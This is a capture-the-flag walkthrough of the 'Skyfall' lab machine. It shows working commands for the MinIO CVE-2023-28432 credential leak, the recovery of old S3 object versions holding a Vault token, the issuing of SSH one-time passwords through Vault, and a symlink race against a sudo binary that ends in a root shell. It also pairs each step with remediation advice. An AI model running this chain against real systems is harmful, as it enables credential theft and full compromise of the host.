← all walkthroughs

Skyfall

Linux· Insane· Credential Access· Privilege Escalation
owned
2026-07-24
time to own
10m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated virtual-host names from the target's nginx frontend and discovered an undocumented MinIO S3 back-end that responded to an unauthenticated cluster-bootstrap API call (CVE-2023-28432), leaking the storage root credentials. Those credentials unlocked an S3 bucket containing a home-directory backup; pulling older object versions recovered a .bash_history file embedding a HashiCorp Vault token.

The token could request one-time-password SSH credentials for user askyy via the Vault SSH secrets engine, giving an authenticated shell and the user flag. On the box, askyy held a NOPASSWD sudo rule for a vault-unseal binary that wrote a debug log, including a Vault master token, to a directory askyy controlled.

A symlink race redirected that write to an externally readable file, capturing the master token. The master token had access to the admin SSH OTP role, issuing a one-time root SSH password and completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export TOKEN2="<the-token-you-captured>"
export AWS_ACCESS_KEY_ID="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<old-version-id>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationVirtual-host and web-content enumeration
Discovered hidden virtual hosts including an undocumented MinIO S3 back-end
Port 80 hosted nginx serving multiple virtual hosts. Scraping the authenticated Flask demo application at demo.skyfall.htb for internal hostname references surfaced a third, unlisted host: prd23-s3-backend.skyfall.htb. A direct GET to that host returned 403, but the path indicated a MinIO object-storage cluster.
HTML source of demo.skyfall.htb contained internal references to prd23-s3-backend.skyfall.htb; curl returned HTTP 403 confirming the host existed.
Exact commands 3
shell

Add all discovered vhosts to local DNS resolution.

$ echo "$TARGET skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb" | sudo tee -a /etc/hosts
shell

Scrape rendered HTML for internal hostname references.

$ curl -s http://$TARGET/ -H 'Host: demo.skyfall.htb' | grep -Eio '[a-z0-9.-]*skyfall\.htb[a-z0-9./-]*' | sort -u
shell

Confirm the MinIO back-end host exists (expect 403).

$ curl -si http://prd23-s3-backend.skyfall.htb/
2ExploitationCVE-2023-28432: MinIO unauthenticated information disclosure
Leaked MinIO root credentials via unauthenticated bootstrap API (CVE-2023-28432)
MinIO versions prior to RELEASE.2023-03-13T19-46-17Z expose a cluster-bootstrap verification endpoint at POST /minio/bootstrap/v1/verify that requires no authentication. The endpoint returns the full MinIO environment block, including the root username and password, as part of the cluster-initialisation handshake. Sending a single POST request to the discovered back-end returned the storage root credentials in plaintext.
POST /minio/bootstrap/v1/verify returned MINIO_ROOT_USER=<withheld> and MINIO_ROOT_PASSWORD=<withheld>.
Exact commands 1
shell

Unauthenticated call to the bootstrap endpoint; look for MINIO_ROOT_USER and MINIO_ROOT_PASSWORD in the JSON response.

$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | python3 -m json.tool
FixPatch MinIO to eliminate the unauthenticated bootstrap information-disclosure endpointCritical
WeaknessThe MinIO instance was running a version vulnerable to CVE-2023-28432, where the POST /minio/bootstrap/v1/verify endpoint requires no authentication and returns the full MinIO environment block including the storage root username and password to any caller on the network.
FixUpgrade MinIO to RELEASE.2023-03-13T19-46-17Z or later, which removes the unauthenticated bootstrap endpoint. If immediate upgrade is not possible, place the MinIO API port behind a network ACL or reverse-proxy authentication layer so it is not reachable from untrusted networks. Rotate the MINIO_ROOT_USER and MINIO_ROOT_PASSWORD credentials immediately after patching.
3Credential AccessS3 object versioning abuse: secrets recovery from snapshot history
Recovered a home-directory backup containing shell history with a Vault token
Using the leaked MinIO credentials with the AWS CLI pointed at the MinIO S3 endpoint, I listed all buckets and found per-user buckets. The askyy bucket had S3 object versioning enabled. The current version of home_backup.tar.gz was innocuous, but listing all object versions and downloading an older version recovered a full home-directory backup. Extracting the archive revealed .bash_history, which contained a HashiCorp Vault token that had been typed on the command line.
Aws s3api list-object-versions showed prior versions of home_backup.tar.gz; extracted .bash_history contained the Vault token string.
Exact commands 5
shell

Set MinIO root credentials as AWS CLI environment variables.

$ export AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=$PASSWORD3
shell

List all S3 buckets accessible with the root credentials.

$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3 ls
shell

Enumerate all versions of every object in the askyy bucket; note the VersionId values for home_backup.tar.gz.

$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api list-object-versions --bucket askyy
shell

Download the older, credential-containing version; replace <old-version-id> with the non-current VersionId from the previous command.

$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api get-object --bucket askyy --key home_backup.tar.gz --version-id <old-version-id> home_backup.tar.gz
shell

Extract the backup and locate the embedded Vault token in shell history.

$ tar xzf home_backup.tar.gz && grep -iE 'hvs\.' home/askyy/.bash_history
FixScrub credentials from shell history and restrict access to home-directory backupsHigh
WeaknessA home-directory backup stored in S3 with object versioning enabled contained .bash_history, which preserved a HashiCorp Vault token typed on the command line in a prior session. Object versioning meant that even after the backup was refreshed, the credential-containing version remained downloadable by anyone with bucket access.
FixNever type long-lived tokens or passwords directly on the command line (use environment variables loaded from a secrets manager or a credential file with restricted permissions). Before creating home-directory backups, exclude .bash_history and credential files (--exclude patterns in tar). Enforce bucket policies that restrict read access to the specific service accounts that need it, and set lifecycle rules to expire old object versions after a short retention window (e.g., 7 days).
4Initial AccessHashiCorp Vault SSH OTP secrets engine: T1078 Valid Accounts
Used Vault SSH secrets engine to obtain a one-time SSH password for user askyy
The recovered Vault token authenticated to an internal-only Vault instance (<withheld>.skyfall.htb). Although the token did not have root-level Vault privileges, it was permitted to call the dev_otp_key_role endpoint in the Vault SSH secrets engine, which issued a single-use SSH password for the askyy account on the target. This gave an authenticated SSH session and the user flag.
Sshpass with Vault-issued OTP authenticated as askyy (uid=1000); user.txt read from ~/user.txt.
Exact commands 3
shell

Add the internal Vault host to local resolution.

$ echo "$TARGET prd23-vault-internal.skyfall.htb" | sudo tee -a /etc/hosts
shell

Request a one-time SSH password for askyy from the Vault dev role.

$ T="$TOKEN"
K=$(curl -s -H "X-Vault-Token: $T" -X POST \
  -d '{"ip":"'"$TARGET"'","username":"askyy"}' \
  http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role \
  | grep -oP '"key":"\K[^"]+')
echo "ASKYY_OTP=$K"
shell

Authenticate with the OTP; output confirms uid=1000(askyy) and prints <user.txt>.

$ sshpass -p "$K" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no askyy@$TARGET 'id; cat ~/user.txt'
FixRestrict Vault token permissions to the minimum required roleHigh
WeaknessThe Vault token recovered from .bash_history had permission to call the dev_otp_key_role SSH secrets engine role, which issued valid SSH credentials for a production account (askyy) on the target host. A single leaked token was sufficient to obtain an authenticated shell.
FixApply Vault policy least-privilege: issue separate tokens per environment (dev vs production) with policies scoped to only the secrets paths and roles each consumer genuinely needs. Set short TTLs on tokens and enable token renewal auditing. Rotate all Vault tokens that may have been exposed in shell history or backups immediately.
5Local EnumerationSudo misconfiguration enumeration: T1548.003
Identified a NOPASSWD sudo rule for a root-owned vault-unseal binary with debug logging
Running sudo -l as askyy revealed two NOPASSWD sudo rules: one allowing /root/vault/vault-unseal -c /etc/vault-unseal.yaml and a second matching the same command with optional verbose/debug/help flags (-v, -h, -d). The -d flag enabled a debug mode in which the vault-unseal binary wrote diagnostic output, including the Vault master token, to a file named debug.log in the current working directory before tightening file permissions.
Exact commands 2
shell

From askyy SSH session: list allowed sudo commands without a password.

$ sudo -l
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml -[vhd]+$ and NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
shell

Read the Vault unseal configuration to understand what secrets the process handles.

$ cat /etc/vault-unseal.yaml
6Privilege EscalationTOCTOU symlink race on root-created file: T1574 (Hijack Execution Flow)
Exploited a TOCTOU symlink race to redirect vault-unseal debug output and capture the Vault master token
The vault-unseal binary running as root wrote debug.log to the current working directory, which askyy owned. Between the moment the file was created and permissions were locked down, I could replace debug.log with a symlink pointing to my own path. By running a tight loop that continuously re-created the symlink while repeatedly invoking vault-unseal with sudo, the root process followed the symlink and wrote its output, containing the master Vault token, to a file readable by askyy.
Captured debug.log (via symlink) contained master Vault token; confirmed master token used for root SSH OTP.
Exact commands 4
shell

Create a working directory owned by askyy.

$ mkdir -p /home/askyy/race && cd /home/askyy/race
shell

Background loop: continuously re-create debug.log as a symlink to /home/askyy/leak.

$ while true; do ln -sfn /home/askyy/leak debug.log 2>/dev/null; done &
shell

Repeatedly trigger vault-unseal in debug mode so root writes the master token while the symlink is in place.

$ for i in $(seq 1 20); do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d 2>/dev/null; sleep 0.2; done
shell

Read the redirected debug output and extract the captured master Vault token.

$ grep -iE 'hvs\.' /home/askyy/leak
FixPrevent the vault-unseal service from writing secrets to a user-controlled directoryCritical
WeaknessThe root-owned vault-unseal binary wrote a debug log file, containing the Vault master token, to the current working directory at the time of invocation. The sudo rule allowed askyy to invoke the binary, and askyy controlled the current directory, enabling a TOCTOU symlink race that redirected the root-created file write to an externally chosen path.
FixRemove the debug-flag variants from the NOPASSWD sudo rule (restrict to the bare invocation with no flags, or eliminate sudo access entirely if vault-unseal should run as a system service). If debug logging is operationally required, hard-code the log path to a root-owned directory (e.g., /var/log/vault-unseal/) with mode 0600, and use O_NOFOLLOW when opening the file to prevent symlink following. Never write credentials or tokens to log files; use Vault audit backends instead.
7Full ControlHashiCorp Vault SSH OTP secrets engine: privilege escalation to root (T1078)
Used the captured master Vault token to issue a root SSH OTP and gain a root shell
The master Vault token had access to the admin_otp_key_role endpoint in the SSH secrets engine, which could issue one-time-password SSH credentials for any username including root. Requesting a root OTP and passing it to SSH gave an interactive root shell (uid=0) on the target, from which the root flag was read.
Curl to admin_otp_key_role with master token, then sshpass as root; id returned uid=0(root); root.txt read.
Exact commands 2
shell

Use the master Vault token to request a one-time SSH password for root.

$ MT="$TOKEN2"
K=$(curl -s -H "X-Vault-Token: $MT" -X POST \
  -d '{"ip":"'"$TARGET"'","username":"root"}' \
  http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role \
  | grep -oP '"key":"\K[^"]+')
echo "ROOT_OTP=$K"
shell

Authenticate as root with the OTP; prints uid=0(root) and <root.txt>.

$ sshpass -p "$K" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no root@$TARGET 'id; cat /root/root.txt'
uid=0(root)
FixRevoke and scope the Vault master token; enforce role separation between dev and admin SSH rolesCritical
WeaknessThe master Vault token captured via the symlink race had permission to call admin_otp_key_role, which issued SSH one-time passwords for root. There was no separation between the low-privilege dev role (accessible to the leaked askyy token) and the administrative role (accessible to the master token), and the master token was stored in process debug output rather than a secure secret store.
FixStore the Vault master (root) token only in a hardware security module or dedicated secrets manager; never let it appear in log files or diagnostic output. Create a separate, tightly scoped Vault policy for the vault-unseal service that permits only the unseal operation and nothing else. Separate the dev_otp_key_role (non-privileged accounts) from admin_otp_key_role (root/admin) under distinct policies, and ensure the service account token cannot access the admin role under any circumstances.

Exposed services

22/tcp
80/tcp